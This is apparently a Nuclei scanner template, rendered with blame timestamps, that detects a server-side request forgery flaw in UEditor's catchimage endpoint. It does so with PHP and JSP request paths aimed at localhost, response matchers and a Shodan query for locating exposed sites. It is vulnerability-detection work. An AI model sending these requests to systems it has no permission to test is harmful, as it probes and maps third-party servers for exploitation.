2023-03-16 10:54:21 +00:00
|
|
|
id: ueditor-ssrf
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: UEditor - Server Side Request Forgery
|
|
|
|
author: pwnhxl
|
|
|
|
severity: medium
|
|
|
|
description: UEditor contains an Server Side Request Forgery vulnerability.
|
|
|
|
reference:
|
|
|
|
- https://xz.aliyun.com/t/4154
|
|
|
|
- https://www.seebug.org/vuldb/ssvid-97311
|
2023-03-16 12:50:56 +00:00
|
|
|
metadata:
|
|
|
|
verified: "true"
|
|
|
|
shodan-query: html:"UEditor"
|
2023-03-16 10:54:21 +00:00
|
|
|
tags: ueditor,ssrf
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/ueditor/php/controller.php?action=catchimage&source[]=http://127.0.0.1:{{rand_text_numeric(6)}}/?1.png"
|
|
|
|
- "{{BaseURL}}/ueditor/jsp/controller.jsp?action=catchimage&source[]=http://127.0.0.1:{{rand_text_numeric(6)}}/?1.png"
|
|
|
|
|
|
|
|
stop-at-first-match: true
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
2023-03-16 12:50:56 +00:00
|
|
|
- '\u94fe\u63a5\u4e0d\u53ef\u7528'
|
|
|
|
- '"original":'
|
|
|
|
- '"SUCCESS"'
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|